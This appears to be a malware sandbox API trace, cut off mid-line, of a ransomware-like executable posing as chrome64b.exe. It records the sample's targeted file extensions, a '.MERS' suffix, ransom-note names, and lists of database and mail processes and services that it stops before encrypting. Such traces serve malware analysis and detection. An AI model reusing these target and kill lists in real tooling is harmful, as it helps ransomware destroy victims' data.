[0030.596] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x64d448, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0030.596] lstrlenW (lpString="C:\\") returned 3 [0030.596] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0030.597] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x64d448 | out: hHeap=0x5f0000) returned 1 [0030.597] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x62a188, Size=0x82) returned 0x63b9c0 [0030.597] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x62a1a8, Size=0x100) returned 0x63ba50 [0030.597] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x63b9c0, Size=0x104) returned 0x63bc78 [0030.597] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x63ba50, Size=0x200) returned 0x63bd88 [0030.598] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x62a198 | out: hHeap=0x5f0000) returned 1 [0030.598] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x63bd88 | out: hHeap=0x5f0000) returned 1 [0030.598] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x63b5d8 | out: hHeap=0x5f0000) returned 1 [0030.598] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x64b5f8 | out: hHeap=0x5f0000) returned 1 [0030.598] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x63e010 | out: hHeap=0x5f0000) returned 1 [0030.598] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x64b680 | out: hHeap=0x5f0000) returned 1 [0030.598] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x63e040 | out: hHeap=0x5f0000) returned 1 [0030.598] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x63bc78 | out: hHeap=0x5f0000) returned 1 [0030.598] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x63e028 | out: hHeap=0x5f0000) returned 1 [0030.598] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x63bb58 | out: hHeap=0x5f0000) returned 1 [0030.598] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x63b5f0 | out: hHeap=0x5f0000) returned 1 [0030.598] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x63bbe8 | out: hHeap=0x5f0000) returned 1 [0030.598] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x63b608 | out: hHeap=0x5f0000) returned 1 [0030.598] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x63e028, Size=0x20) returned 0x6259b8 [0030.598] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x6259b8, Size=0x40) returned 0x626ad8 [0030.598] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x62a168 | out: hHeap=0x5f0000) returned 1 [0030.598] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x63dfb0 | out: hHeap=0x5f0000) returned 1 [0030.598] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x63b530 | out: hHeap=0x5f0000) returned 1 [0030.598] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x63dfe0 | out: hHeap=0x5f0000) returned 1 [0030.598] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x64b570 | out: hHeap=0x5f0000) returned 1 [0030.598] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x63dfc8 | out: hHeap=0x5f0000) returned 1 [0030.598] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x62a178 | out: hHeap=0x5f0000) returned 1 [0030.598] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x63dff8 | out: hHeap=0x5f0000) returned 1 [0030.598] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x627ed8 | out: hHeap=0x5f0000) returned 1 [0030.598] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x625ff0 | out: hHeap=0x5f0000) returned 1 [0030.598] lstrlenW (lpString="%systemdrive%") returned 13 [0030.598] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x625990 | out: hHeap=0x5f0000) returned 1 [0030.598] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x64b460 | out: hHeap=0x5f0000) returned 1 [0030.598] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x62a148 | out: hHeap=0x5f0000) returned 1 [0030.599] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x62b438, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x100 [0030.599] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x63dff8, Size=0x20) returned 0x6259b8 [0030.599] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x6259b8, Size=0x40) returned 0x626b20 [0030.599] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x626b20, Size=0x80) returned 0x64b460 [0030.599] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x64b460, Size=0x100) returned 0x63b9c0 [0030.599] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x63b9c0, Size=0x200) returned 0x63b9c0 [0030.599] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x63b9c0, Size=0x400) returned 0x63b9c0 [0030.599] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x63b9c0, Size=0x800) returned 0x63b9c0 [0030.599] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x63b9c0, Size=0x1000) returned 0x640070 [0030.599] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x62a148, Size=0x8) returned 0x62a168 [0030.600] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x62a168, Size=0x10) returned 0x63e010 [0030.600] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x63e010, Size=0x20) returned 0x6259b8 [0030.600] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x6259b8, Size=0x40) returned 0x626b20 [0030.600] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x626b20, Size=0x80) returned 0x64b460 [0030.600] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x64b460, Size=0x100) returned 0x641090 [0030.600] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x641090, Size=0x200) returned 0x63bdc0 [0030.600] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x63bdc0, Size=0x400) returned 0x643078 [0030.600] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x643078, Size=0x800) returned 0x644080 [0030.600] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0030.600] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x640070 | out: hHeap=0x5f0000) returned 1 [0030.600] lstrlenW (lpString="") returned 0 [0030.600] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x644f00 | out: hHeap=0x5f0000) returned 1 [0030.600] lstrlenW (lpString=".MERS") returned 5 [0030.600] lstrlenW (lpString=".MERS") returned 5 [0030.600] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x644f00 | out: hHeap=0x5f0000) returned 1 [0030.600] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x644f30, Size=0x20) returned 0x6259b8 [0030.600] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x6259b8, Size=0x40) returned 0x626b20 [0030.600] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x626b20, Size=0x80) returned 0x64b460 [0030.600] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x62a2e8, Size=0x8) returned 0x62a2f8 [0030.600] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x62a2f8, Size=0x10) returned 0x644f30 [0030.600] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x644f30, Size=0x20) returned 0x625a08 [0030.600] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0030.600] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x64b460 | out: hHeap=0x5f0000) returned 1 [0030.600] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x644f60, Size=0x20) returned 0x625a30 [0030.600] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x625a30, Size=0x40) returned 0x626b20 [0030.600] lstrlenW (lpString="RETURN FILES.txt") returned 16 [0030.601] lstrlenW (lpString="RETURN FILES.txt") returned 16 [0030.601] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x626b20 | out: hHeap=0x5f0000) returned 1 [0030.601] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x644f60, Size=0x20) returned 0x625a30 [0030.601] lstrlenW (lpString="Info.hta") returned 8 [0030.601] lstrlenW (lpString="Info.hta") returned 8 [0030.601] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x625a30 | out: hHeap=0x5f0000) returned 1 [0030.601] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x66d470, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\chrome64b.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\chrome64b.exe")) returned 0x33 [0030.601] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x66d470 | out: hHeap=0x5f0000) returned 1 [0030.601] lstrlenW (lpString="chrome64b.exe") returned 13 [0030.601] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x625a08, Size=0x40) returned 0x626b20 [0030.601] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x644f60, Size=0x20) returned 0x625a08 [0030.601] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x644f60, Size=0x20) returned 0x625a58 [0030.601] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x625a58, Size=0x40) returned 0x626b68 [0030.601] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x626b68, Size=0x80) returned 0x64b460 [0030.601] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x64b460, Size=0x100) returned 0x641090 [0030.601] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0030.601] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x641090 | out: hHeap=0x5f0000) returned 1 [0030.601] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x66d470, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0030.601] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x67d478 | out: hHeap=0x5f0000) returned 1 [0030.601] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x66d470 | out: hHeap=0x5f0000) returned 1 [0030.601] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x62a2f8, Size=0x8) returned 0x62a2e8 [0030.601] lstrlenW (lpString="%windir%;") returned 9 [0030.601] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x625a08 | out: hHeap=0x5f0000) returned 1 [0030.601] lstrlenW (lpString="C:\\Windows;") returned 11 [0030.601] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x65d468 | out: hHeap=0x5f0000) returned 1 [0030.601] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x644f78, Size=0x20) returned 0x625a08 [0030.601] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x625a08, Size=0x40) returned 0x626b68 [0030.601] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x626b68, Size=0x80) returned 0x64b460 [0030.601] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x64b460, Size=0x100) returned 0x641090 [0030.602] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x62a328, Size=0x8) returned 0x62a338 [0030.602] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x62a338, Size=0x10) returned 0x644fc0 [0030.602] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x644fc0, Size=0x20) returned 0x625a08 [0030.602] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x62a2f8, Size=0x8) returned 0x62a338 [0030.602] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x62a308, Size=0x8) returned 0x62a2f8 [0030.602] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x62a328, Size=0x8) returned 0x62a348 [0030.602] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x62a348, Size=0x10) returned 0x645068 [0030.602] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x645068, Size=0x20) returned 0x625a58 [0030.602] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x62a338, Size=0x10) returned 0x645068 [0030.602] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x62a2f8, Size=0x10) returned 0x6400a0 [0030.602] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x62a338, Size=0x8) returned 0x62a328 [0030.602] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x62a358, Size=0x8) returned 0x62a368 [0030.602] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x645068, Size=0x20) returned 0x625a80 [0030.602] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x6400a0, Size=0x20) returned 0x625aa8 [0030.602] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x62a378, Size=0x8) returned 0x62a388 [0030.602] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0030.602] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x641090 | out: hHeap=0x5f0000) returned 1 [0030.602] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x640130, Size=0x20) returned 0x625af8 [0030.602] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x65d468, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0030.602] lstrlenW (lpString="C:\\") returned 3 [0030.602] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0030.602] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x65d468 | out: hHeap=0x5f0000) returned 1 [0030.602] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x643090, Size=0x82) returned 0x63be98 [0030.602] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x6430b0, Size=0x100) returned 0x641090 [0030.603] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x63be98, Size=0x104) returned 0x640900 [0030.603] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x641090, Size=0x200) returned 0x6450a0 [0030.603] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x6430a0 | out: hHeap=0x5f0000) returned 1 [0030.604] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x6450a0 | out: hHeap=0x5f0000) returned 1 [0030.604] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x6401d8 | out: hHeap=0x5f0000) returned 1 [0030.604] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x64b680 | out: hHeap=0x5f0000) returned 1 [0030.604] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x640190 | out: hHeap=0x5f0000) returned 1 [0030.604] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x64b5f8 | out: hHeap=0x5f0000) returned 1 [0030.604] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x6401c0 | out: hHeap=0x5f0000) returned 1 [0030.604] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x640900 | out: hHeap=0x5f0000) returned 1 [0030.604] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x6401a8 | out: hHeap=0x5f0000) returned 1 [0030.604] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x63bf28 | out: hHeap=0x5f0000) returned 1 [0030.604] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x6401f0 | out: hHeap=0x5f0000) returned 1 [0030.604] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x640870 | out: hHeap=0x5f0000) returned 1 [0030.604] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x640208 | out: hHeap=0x5f0000) returned 1 [0030.604] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x640208, Size=0x20) returned 0x625b20 [0030.604] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x625b20, Size=0x40) returned 0x626b68 [0030.604] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x62a398 | out: hHeap=0x5f0000) returned 1 [0030.604] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x640130 | out: hHeap=0x5f0000) returned 1 [0030.604] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x63c3c8 | out: hHeap=0x5f0000) returned 1 [0030.604] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x640160 | out: hHeap=0x5f0000) returned 1 [0030.604] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x64b570 | out: hHeap=0x5f0000) returned 1 [0030.604] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x640148 | out: hHeap=0x5f0000) returned 1 [0030.604] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x62a3a8 | out: hHeap=0x5f0000) returned 1 [0030.604] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x640178 | out: hHeap=0x5f0000) returned 1 [0030.604] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x63b570 | out: hHeap=0x5f0000) returned 1 [0030.604] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x6260f0 | out: hHeap=0x5f0000) returned 1 [0030.604] lstrlenW (lpString="%systemdrive%") returned 13 [0030.604] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x625af8 | out: hHeap=0x5f0000) returned 1 [0030.604] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x64b460 | out: hHeap=0x5f0000) returned 1 [0030.604] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x62a378 | out: hHeap=0x5f0000) returned 1 [0030.604] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x64d448, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10c [0030.605] WaitForMultipleObjects (nCount=0x2, lpHandles=0x627c38*=0x100, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 2 os_tid = 0x9b8 Thread: id = 4 os_tid = 0x9c4 [0031.262] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x640178 [0031.262] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x640178, Size=0x20) returned 0x625b20 [0031.262] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x625b20, Size=0x40) returned 0x626bb0 [0031.262] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x626bb0, Size=0x80) returned 0x64b460 [0031.262] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x64b460, Size=0x100) returned 0x641090 [0031.262] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x640178 [0031.262] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x640178, Size=0x20) returned 0x625b20 [0031.262] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x625b20, Size=0x40) returned 0x626bb0 [0031.262] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x626bb0, Size=0x80) returned 0x64b460 [0031.262] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x64b460, Size=0x100) returned 0x641198 [0031.263] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xc) returned 0x640178 [0031.263] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x4) returned 0x62a378 [0031.263] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x640148 [0031.263] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x62a378, Size=0x8) returned 0x62a3a8 [0031.263] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x14) returned 0x626110 [0031.263] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x62a3a8, Size=0x10) returned 0x640160 [0031.263] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x18) returned 0x626130 [0031.263] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x1a) returned 0x625b20 [0031.263] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x640160, Size=0x20) returned 0x625b48 [0031.263] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x1c) returned 0x625b70 [0031.263] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x16) returned 0x626150 [0031.263] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x1a) returned 0x625b98 [0031.263] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xc) returned 0x640160 [0031.263] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x4) returned 0x62a3a8 [0031.263] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x40) returned 0x626bb0 [0031.263] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x62a3a8, Size=0x8) returned 0x62a378 [0031.263] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x3c) returned 0x626bf8 [0031.263] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x62a378, Size=0x10) returned 0x640130 [0031.263] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x14) returned 0x626170 [0031.263] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x18) returned 0x626190 [0031.263] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x640130, Size=0x20) returned 0x625bc0 [0031.263] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x24) returned 0x63c3c8 [0031.263] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0031.263] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x641090 | out: hHeap=0x5f0000) returned 1 [0031.263] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0031.263] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x641198 | out: hHeap=0x5f0000) returned 1 [0031.263] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x625c60 [0031.264] EnumServicesStatusExW (in: hSCManager=0x625c60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0031.264] GetLastError () returned 0xea [0031.264] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x11e4) returned 0x65e4a8 [0031.264] EnumServicesStatusExW (in: hSCManager=0x625c60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x65e4a8, cbBufSize=0x11e4, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x65e4a8, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0031.265] CloseServiceHandle (hSCObject=0x625c60) returned 1 [0031.265] lstrlenW (lpString="Appinfo") returned 7 [0031.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0031.265] lstrcmpiW 